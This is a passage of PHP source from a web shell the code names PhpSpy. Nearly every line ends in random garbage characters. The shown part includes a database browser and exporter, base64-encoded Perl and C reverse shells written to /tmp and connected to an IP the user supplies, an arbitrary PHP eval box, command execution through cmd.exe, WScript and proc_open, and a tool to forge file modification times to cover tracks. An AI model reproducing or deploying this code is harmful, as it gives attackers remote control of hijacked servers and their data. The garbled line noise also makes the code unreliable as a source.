  1021.                         } else {7 `/ G5 B7 d4 G; v/ Z2 T* o
  1022.                                 $query = q("SHOW TABLE STATUS");- m/ f; b! |% h2 z' T" x9 G
  1023.                                 $table_num = $table_rows = $data_size = 0;: }% K% }& H% b% ~8 h( }
  1024.                                 $tabledb = array();
    ; K; U( k5 o/ S6 \* T; u, o
  1025.                                 while($table = mysql_fetch_array($query)) {( e! ]2 p6 w0 q/ I
  1026.                                         $data_size = $data_size + $table['Data_length'];/ [5 n5 {+ Z9 E
  1027.                                         $table_rows = $table_rows + $table['Rows'];
    8 C2 [- G, }; g, v/ @/ B- y
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
    - h) I; {) X. O2 ]/ b
  1029.                                         $table_num++;6 {, f/ r; D, {" @- }" z* _
  1030.                                         $tabledb[] = $table;+ Z0 c" F( E* @/ b  H! E3 y' U
  1031.                                 }
    9 J' b, k2 l0 M" u
  1032.                                 $data_size = sizecount($data_size);
    ' v& g. Z5 A- b) a
  1033.                                 unset($table);9 w% V& V% m6 W( Y
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');4 \9 j3 X" J+ x" `/ O) H$ Q& B
  1035.                                 p('<form action="'.$self.'" method="POST">');. V9 I4 a3 F" s9 |) w
  1036.                                 makehide('action','sqladmin');
    0 v( _0 v8 ?$ z& o: K; E
  1037.                                 p($dbform);1 a# ~$ @% @7 E, e  ]  K! S
  1038.                                 p('<tr class="head">');
    / @1 t& w& e0 ~
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    ) R. M2 o9 k2 K" H" Y: J
  1040.                                 p('<td>Name</td>');
    - L, s+ {0 a. ]2 L9 S* B1 U5 G
  1041.                                 p('<td>Rows</td>');
    * N  F. t: O3 X) o4 V4 Q- P
  1042.                                 p('<td>Data_length</td>');
    # i$ ^% u# M* `, k4 ^# L
  1043.                                 p('<td>Create_time</td>');
    8 r# R9 N6 q0 c
  1044.                                 p('<td>Update_time</td>');  C6 ?0 K, N3 D' a7 U- X# C7 Y
  1045.                                 if ($highver) {& Z0 T$ ~) E% [" W& N+ r4 a
  1046.                                         p('<td>Engine</td>');- e* g+ |2 h2 L" l2 E) G. c( S$ ]
  1047.                                         p('<td>Collation</td>');
    . U4 R0 ?* |) G0 U
  1048.                                 }% n1 v6 p  R6 P2 N4 t/ s
  1049.                                 p('</tr>');
    * f" L7 K  Z8 s) E! U
  1050.                                 foreach ($tabledb as $key => $table) {! P0 q. J2 Z/ h0 x% ^
  1051.                                         $thisbg = bg();+ H9 X8 D# _- R$ Y; l0 w# H
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');5 C/ u7 K( x1 W( p
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    ! {5 d$ P1 q1 ]; j- [1 P6 _
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    % a4 H/ Y4 V4 \2 c3 f2 ^& w- Q+ i: m
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    2 q: u/ G% v; e& j
  1056.                                         p('<td>'.$table['Data_length'].'</td>');$ O, j) Y% p* O1 M( o
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    2 r! @  `7 K' a2 f% Z& Y
  1058.                                         p('<td>'.$table['Update_time'].'</td>');3 X2 Y8 z- I, i3 d
  1059.                                         if ($highver) {0 \' R) _1 E" n
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    ! p5 R0 y4 M9 j# j, E
  1061.                                                 p('<td>'.$table['Collation'].'</td>');
    ( q$ q5 L5 P( a# D' e( d9 ]/ C. }
  1062.                                         }
      w& a6 ^1 T; y! g4 ^' b* A/ E2 |& \
  1063.                                         p('</tr>');$ j! U8 [8 E( u$ v: [
  1064.                                 }
    & R( l5 i7 k6 M' d; Y& z
  1065.                                 p('<tr class='.bg().'>');
    * B: @2 o; B/ Y+ B+ b) ~
  1066.                                 p('<td> </td>');
    , |! ~0 O  B5 a2 P4 K
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    ) c. l' a$ G" I4 O
  1068.                                 p('<td>'.$table_rows.'</td>');
    1 A: z5 O. r7 H) b3 T& ^- X# J
  1069.                                 p('<td>'.$data_size.'</td>');; \$ b" r0 P- N0 d
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
    ) X# k7 E6 A4 p, ?4 O$ Q" t
  1071.                                 p('</tr>');# i, F) V6 u' h% R
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");6 p; c  C8 ^& f+ ?3 \% e
  1073.                                 makehide('doing','backupmysql');
    6 \. O; ~. R8 z; N; X+ _# c& z7 Z
  1074.                                 formfoot();
    5 w% n2 [' i" [4 F
  1075.                                 p("</table>");1 H" }, L9 H3 {8 ~9 q  r$ [
  1076.                                 fr($query);
      R' S; S$ L" ~: G
  1077.                         }8 j' J( i$ r4 R( t5 G
  1078.                 }  U9 g, s6 [% |. l: s
  1079.         }
      @( x8 g; n. o
  1080.         tbfoot();; i. s7 P, N, X; Y+ C  v: i. R
  1081.         @mysql_close();4 ?+ w. Q% H0 {# q) ^) D! _
  1082. }//end sql backup$ `1 z( @0 `8 e7 w
  1083. elseif ($action == 'backconnect') {& A1 P" X! d% C' W/ L4 L) a4 d
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];% e1 ~, x2 b1 F% G8 U/ R0 n. X: Y
  1085.         !$yourport && $yourport = '12345';
    ) b! [1 A) x$ w+ g  k5 Q
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    7 G; r7 E/ ^: V# \/ Y( m+ `! o
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    " B& K! A4 T" o0 Z9 q* @% T
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    9 o8 W6 o$ U, O5 J" h! }
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".- z6 t) ]/ E; f1 q( C/ [* t
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    ; B0 L! b' `- Q1 H) d* [5 y
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    - X6 _. {7 d5 D, S
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    ( ?, v! {% o" p) U; X
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";5 T2 l- H" E; m! {  M' }2 z% R+ e8 J
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".$ \: A! Z0 n- h- b# l* J! O
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    + q/ e6 j6 V9 S$ h5 t$ x8 [
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".- p8 T, {  `6 n* p& U6 J' J
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      z/ ?# c. ]2 @! {4 X
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"./ [8 ^  i  F5 {; s& |: e: u
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".# I& d2 G; U9 ?6 e. d
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".- u  o* M7 ]9 J# t
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    ! [  X" O& B/ }; y* f. V: l7 f9 A( e
  1102.         if ($start && $yourip && $yourport && $use){6 _( J! Q2 P" Z* Q4 e9 Z0 J% r
  1103.                 if ($use == 'perl') {
    $ M9 ?% F, g% l- W% P# j- k  c% d! W
  1104.                         cf('/tmp/angel_bc',$back_connect);3 n  V: ]8 X: v. }; S! `" {; ^
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
    5 J/ S/ G) E0 c$ k9 ~" \
  1106.                 } else {2 R7 u( t" F* I! D* w9 k
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);: w% O: A( a4 g2 x
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    + O. [) {" F% L$ W4 ^# H- J
  1109.                         @unlink('/tmp/angel_bc.c');1 r0 Y  Q0 N" v: k+ n
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");" G8 g) C& J( n+ A- i
  1111.                 }
    ' j. A  Y0 h' B& ^) r
  1112.                 m("Now script try connect to $yourip port $yourport ...");+ {5 t$ k% ]8 b- q
  1113.         }
      L; Y& J' T; |5 [
  1114.         formhead(array('title'=>'Back Connect'));" B5 x; G$ Y$ Q6 B5 t
  1115.         makehide('action','backconnect');& U8 i4 l! G: o( A1 R
  1116.         p('<p>');
    3 e" V9 y  O0 b! k" F. l) C
  1117.         p('Your IP:');0 x; @; C  L+ q9 ^7 r3 S: g
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));5 a- w. ~' ~% c& c5 T2 `; a
  1119.         p('Your Port:');, @: t% s9 C! Z
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));% \6 H  W7 I4 {- B( k; j6 D8 \
  1121.         p('Use:');
    & s! e* O! b1 V9 }1 N" z
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));' \  j- j* e0 S: a  e
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    . P' i* _: e# F/ y7 q7 I
  1124.         p('</p>');, y0 p3 @2 b4 A. T& i2 n( f7 H
  1125.         formfoot();, m3 Q, Y) `2 _# b, `0 S
  1126. }//end sql backup  E! ~* v- w: T: b: N" q
  1127. elseif ($action == 'eval') {6 k- ~8 ^/ ]/ V9 J
  1128.         $phpcode = trim($phpcode);
    ' R0 z8 e( U, E6 r
  1129.         if($phpcode){
    1 K, w3 P5 v0 n
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    & s4 C# t* }( M5 w2 E2 |, ]
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
    ( B: C, ]4 ~6 ~6 `
  1132.                 }
    5 ]" {0 Z$ D+ g- x8 K9 u
  1133.                 eval("?".">$phpcode<?");
    ) K# b) H# p3 j; S
  1134.         }
    9 w; D4 d4 J3 g/ T  J3 S! o
  1135.         formhead(array('title'=>'Eval PHP Code'));* T1 m; Q( t3 Q
  1136.         makehide('action','eval');! \6 Z+ a1 v' r) f- e) U
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    ' M8 e% U0 \6 W8 k
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    & v0 d2 F/ o5 B) D$ B$ y/ ?) c0 y
  1139.         formfooter();: z( B8 R+ G, D8 O
  1140. }//end eval* t' m. _# u! N/ N8 O' N  l- ~
  1141. : E4 X$ G* W9 K& s+ W8 P( Q8 z
  1142. elseif ($action == 'editfile') {
    ( n! o  ]5 |8 @
  1143.         if(file_exists($opfile)) {4 L  c  w% n# V1 @
  1144.                 $fp=@fopen($opfile,'r');
    0 X  A9 c+ ]/ n& k$ N' C6 L0 m) U" ]
  1145.                 $contents=@fread($fp, filesize($opfile));. t' U1 V+ ^, T$ l% U3 q0 l4 T) a8 m
  1146.                 @fclose($fp);4 ?! q" g$ g% v0 G% K8 j  p1 _3 Z
  1147.                 $contents=htmlspecialchars($contents);- f$ }- ~7 u' I
  1148.         }
    & F. A( j5 J( z3 M4 a. j& f" [
  1149.         formhead(array('title'=>'Create / Edit File'));
    6 Y( s) Y# ], H+ w6 |& R7 V5 X
  1150.         makehide('action','file');: K- J, X( k- Z8 F+ y; Q$ P
  1151.         makehide('dir',$nowpath);
    1 C1 O( S# R" ?" M% t7 I% I3 w$ ?  D
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));# x  B$ r$ g3 {( [0 W
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    ! D3 |) }: \; G5 Z" A5 }4 @
  1154.         formfooter();
    ' d4 h4 e' m5 J, ^
  1155. }//end editfile
    / |' H$ S# G: U( |: ^

  1156. # `# R8 B' P5 `* z
  1157. elseif ($action == 'newtime') {
    1 g7 w  J0 J# z4 S  I. S" X
  1158.         $opfilemtime = @filemtime($opfile);" p! W* A2 G; g! c3 _: }
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    # f7 q3 J* }; @1 S/ g# t; B+ @4 i. H
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    ) r" v* Y" O* }; f" N1 `* _8 a5 j
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    7 b% O# e" e  H0 p: V/ m: t) c
  1162.         makehide('action','file');
    ( i9 E' P, o1 F' T+ `# }" b
  1163.         makehide('dir',$nowpath);- n, p- s; @' L' f$ j4 t" h* }
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    / K/ b+ j  y0 B
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));& }& T  k. \6 P$ O  ]+ ~( ^
  1166.         formfooter();
    8 w# v) r+ X" G4 |1 T5 M. P
  1167.         formhead(array('title'=>'Set last modified'));
    6 U7 X& T7 K' `" w; j$ D, e
  1168.         makehide('action','file');' r1 D% c, U9 \" Q5 Z+ {- a+ B
  1169.         makehide('dir',$nowpath);
    # C7 G" K, L+ u* z. r  h/ j% M
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    $ q3 [. S, l* k. p1 r# O, E( h8 z
  1171.         p('<p>Instead »');4 A2 N) p* y) P3 l
  1172.         p('year:');6 [' m% L+ V& _
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));5 T' z& O+ ^9 G% R& t) G
  1174.         p('month:');
    3 C8 v; ~( v: @2 P# m1 g0 m0 G
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    % s% w1 V2 x& Z( V6 q" `6 m) b1 v
  1176.         p('day:');
    ) w% E! c, s( j1 Z) b' t
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));2 A0 ~6 v+ d8 r" s
  1178.         p('hour:');
    ( A6 U- z  s  ^: {$ O
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));9 W6 I7 o; C( j
  1180.         p('minute:');
    + z0 e8 a# q) m) l4 n# Q; x5 p" U' v
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));1 q' D# l! [4 k7 k
  1182.         p('second:');4 b- @! Q6 c3 `3 F8 Q
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    $ V: C- m6 _3 j4 M0 P' e/ Y
  1184.         p('</p>');$ ^5 u& T% o. c
  1185.         formfooter();& d1 b& R  a+ j1 m
  1186. }//end newtime' h3 I. x8 H2 O/ o+ o1 E
  1187. $ P4 b; Q8 h) G3 e4 f  Z2 c) J
  1188. elseif ($action == 'shell') {
      k# \4 G1 b2 A& ~, _7 {
  1189.         if (IS_WIN && IS_COM) {
    + _  y& s: i; N5 _; x
  1190.                 if($program && $parameter) {
    , R# K1 ^1 F% q  k7 e' Q. |
  1191.                         $shell= new COM('Shell.Application');, d8 h' t7 g+ I# R3 `1 E
  1192.                         $a = $shell->ShellExecute($program,$parameter);& |/ v2 Y; X2 d) s. `) T
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    & u& U) ]* k  M. p0 A& T
  1194.                 }2 z/ Q* v" R4 f
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      z& R# q2 {, G" @* ~: H
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    - l+ I: Z  G. `' @/ O+ T4 A
  1197.                 formhead(array('title'=>'Execute Program'));" i  m2 h+ w- @( ~3 I  P  }
  1198.                 makehide('action','shell');
    " a) h2 B/ i/ b; y* {
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    8 S! i. l. B7 j1 m
  1200.                 p('<p>');' s% d# g- m  R7 k4 N$ D
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    1 z8 V* p( H1 Y& H# E* Y" n+ a- K
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    ; `9 q% J3 ]3 Y+ C) u
  1203.                 p('</p>');
    & x* O, n3 l1 T8 f* `; j) t
  1204.                 formfoot();2 ^# j) L4 J6 {2 v' E: _
  1205.         }/ B$ z$ q  z; I( o5 }
  1206.         formhead(array('title'=>'Execute Command'));
    + i, p4 |5 |0 I, |3 L; H
  1207.         makehide('action','shell');
    7 E" o. ~. H6 P% d6 C+ ~$ j7 ~
  1208.         if (IS_WIN && IS_COM) {/ [' \0 N9 j$ i, ?/ P5 f& }
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
    2 C: w" W8 [. Q0 F/ W+ s, J
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));! U. F) j; k. t  `2 p  W% M2 M
  1211.         }& a6 X$ g( @5 a. s( h
  1212.         p('<p>');
      J6 v/ w' x' y' Q; A* O9 d: g
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));$ P# Y9 p0 ?6 |- ~4 p0 p' P2 K. q; X1 ]
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));) g, |# p( C) f% Q( d
  1215.         p('</p>');) a; f; l7 S0 H
  1216.         formfoot();
    1 N8 D9 S/ K$ O% O5 M4 \8 H1 Y/ @' \2 P* T
  1217. 5 F, ~6 h" t6 O; @  y& P% U
  1218.         if ($command) {7 f6 D: W, b: O4 ^
  1219.                 p('<hr width="100%" noshade /><pre>');
    9 k3 n$ g* U  k; z) r: X. R* Q* o
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {% _8 O( x* s2 |  @% k" K4 b& I5 i
  1221.                         $wsh = new COM('WScript.shell');7 Z6 j+ {) C! k$ z
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    # z. t1 y8 K7 v+ m! f! m8 j
  1223.                         $stdout = $exec->StdOut();
    - w  s/ m, E* O' O9 {
  1224.                         $stroutput = $stdout->ReadAll();
    & P$ _' N: ~6 \1 d2 H+ S
  1225.                         echo $stroutput;+ J0 W4 ?- q, q5 j2 N# S
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {* B3 O9 e8 A/ d: g- Z& n
  1227.                         $descriptorspec = array(" ^& }; M6 b- I
  1228.                            0 => array('pipe', 'r'),8 h# c. V4 e  `8 d
  1229.                            1 => array('pipe', 'w'),: w5 f1 M" Q, D/ a* \: b
  1230.                            2 => array('pipe', 'w')
    - s& J# P; h# y7 j( x
  1231.                         );# T/ V% s4 [, u, I9 p3 n! U7 m
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    ; u8 {' ]9 a! x7 }2 E" V9 Z  M
  1233.                         if (is_resource($process)) {( L$ C* H( |& l+ o' R) R
  1234.                                 fwrite($pipes[0], $command."\r\n");
    9 S1 ^' B, B0 [# y: S/ ]
  1235.                                 fwrite($pipes[0], "exit\r\n");* V$ B; v! y& Z9 e- R1 K# J5 L
  1236.                                 fclose($pipes[0]);
    ; H2 B7 g" i! j" [0 X# y3 D% j
  1237.                                 while (!feof($pipes[1])) {- Z) X+ Z- O* Z% L4 I" j# Z
  1238.                                         echo fgets($pipes[1], 1024);/ \# G8 g7 S1 D* u; U
  1239.                                 }
    ( d, I! S2 s& p2 U3 J. ^( j
  1240.                                 fclose($pipes[1]);
    " p. v' N' V$ n
  1241.                                 while (!feof($pipes[2])) {' G/ \2 [0 B, x. L+ [0 \' U2 M
  1242.                                         echo fgets($pipes[2], 1024);
    8 b4 E* e4 b) s  t% {: y5 M" N2 `
  1243.                                 }
    9 d" A3 d. y( E+ f. y
  1244.                                 fclose($pipes[2]);- e$ y3 j0 O% Y9 F( ?- |
  1245.                                 proc_close($process);( q/ H5 b+ r7 f1 K9 e6 G* k
  1246.                         }( d, b6 }, Z% O, p, ?/ B2 N7 ^) U1 @
  1247.                 } else {7 A$ _# E+ W* i0 l  U2 P& n
  1248.                         echo(execute($command));' v5 e9 t5 }4 u# Z4 W  L
  1249.                 }7 u3 o+ X( G% Z4 v# Q; {% g
  1250.                 p('</pre>');$ {$ Z$ c3 M' Y5 a
  1251.         }
    * a- \0 I9 L+ r6 t: ~2 ~( b
  1252. }//end shell
    / ]+ n" Q5 J; _/ q. w+ @

  1253. 8 W9 h6 ^1 Y# m& c* i% o' X2 G$ \
  1254. elseif ($action == 'phpenv') {
    ) |4 u9 V  O  R
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';( ]+ ?5 Q$ o# G0 i! [
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');4 T0 W$ M$ C8 e  h( _5 ~% c
  1257.         !$dis_func && $dis_func = 'No';       
    9 N+ H2 Z& a, {
  1258.         $info = array(7 t; ~" G% S* Y( |. z
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    + N* ]* {$ o- c! E' |* T
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    1 K1 m6 ^9 s& ~) r) K: p
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),- A; I# F- W, v2 l3 K, R1 K
  1262.                 4 => array('Server OS',PHP_OS),, U, p$ m" S( B
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    . @! t' @: u- _6 ]
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),$ i/ A2 H: [! X
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),+ a  ^( c% v+ X" |8 J. E
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),4 l1 v' g) B9 ~5 H( u" U8 n3 S' j
  1267.                 9 => array('The file path',__FILE__),
    ( H7 D% s6 D" q- U1 q
  1268. . n! }' I' s7 R: Z. b
  1269.                 10 => array('PHP Version',PHP_VERSION),% f, C0 m+ A) @$ E7 Y& c
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No'))," g' J7 Z1 Z9 A. t
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    / `0 e/ K3 e) E
  1272.                 13 => array('Administrator',$adminmail),. Q3 ?) y) w5 S% c0 l
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    ( L8 s1 r& D1 Y( @, R1 F- `. t
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    1 c+ p" k8 G" U  K: p2 q
  1275.                 16 => array('display_errors',getcfg('display_errors')),  R% }! u1 k7 K
  1276.                 17 => array('register_globals',getcfg('register_globals')),/ }$ l$ n9 p1 s- I
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
    % Y/ D% h- G5 w% v; \1 T
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    8 O- E( u; T: g3 f7 g3 n6 s& ]1 _
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    + S7 s: |9 U, Q7 [# ^
  1280.                 21 => array('upload_max_filesize',$upsize),0 n3 Q- S; P7 ]; b  B- \8 R
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    ) o0 P6 ~9 Z  y8 @  d/ x
  1282.                 23 => array('disable_functions',$dis_func),
    , D( B4 a1 B7 v
  1283.         );
    8 [/ d+ }$ w: t, G

  1284. . h; f4 s% k9 w
  1285.         if($phpvarname) {. u6 z* h6 N2 q2 u, E6 _7 ]
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));( j3 `( x2 Z* n. r
  1287.         }5 ?8 d: V: n* p* [- h  r% `& K

  1288. 4 |: _/ o1 [5 v
  1289.         formhead(array('title'=>'Server environment'));
    * k7 \+ Q, P; C, j# p2 D
  1290.         makehide('action','phpenv');
    : h0 D* w' w' g3 Y6 ^' M
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    / S- @) x$ {. r9 ?" ~
  1292.         formfooter();* B. {0 a8 q% E  A( D
  1293. ' W0 e6 ]2 l' z: N7 |
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    8 V2 Q9 q* X, Z* {# B
  1295.         for($a=0;$a<2;$a++) {, ^, H+ W7 v3 h* z/ e  j
  1296.                 p('<h2>'.$hp[$a].' »</h2>');# j% `, c# U/ w: n& n6 P' T
  1297.                 p('<ul class="info">');
    " w; `. d2 ]$ Q+ j' t
  1298.                 if ($a==0) {
    9 {" N7 y- m; y8 G5 |
  1299.                         for($i=1;$i<=9;$i++) {
    3 W3 _# @' ~% R& v# D
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');5 O- y. O5 Q& V) U
  1301.                         }
    " Y. G* j3 |+ ]& X4 a4 L
  1302.                 } elseif ($a == 1) {* H) ~" g# N+ x$ i3 i; [
  1303.                         for($i=10;$i<=23;$i++) {
    0 n8 U+ a, C- `: m( @3 ], o
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');0 o5 Q  p/ i4 j6 @) ~% E
  1305.                         }
    1 k2 q& L2 M1 q9 n4 t" ^% F
  1306.                 }/ @8 J4 J/ ~  C7 @* F, |1 C5 W
  1307.                 p('</ul>');6 D& T7 P6 S- V, B8 K! d  N2 L
  1308.         }
    5 x3 {' E- E9 p8 I+ K+ `# r
  1309. }//end phpenv
    7 U& P3 V4 i2 S- m+ K

  1310. ) U0 h# A  G6 j3 K+ e. G! L
  1311. else {
    6 q) l; `0 B1 @; t1 \% B
  1312.         m('Undefined Action');
    0 I# t7 D: \; `! f
  1313. }
    ; ~5 q; [7 J( N: w' Y! g* ~
  1314. 4 M# B. A; u. q# e( ^5 f
  1315. ?>8 X* N: E* @" ^/ {( w7 d
  1316. </td></tr></table>9 T1 w: X8 Q" i+ ]$ }) y  q
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    ( Q- H9 n- b+ \, E4 b
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    / d" R5 Y& Y, P* U. M
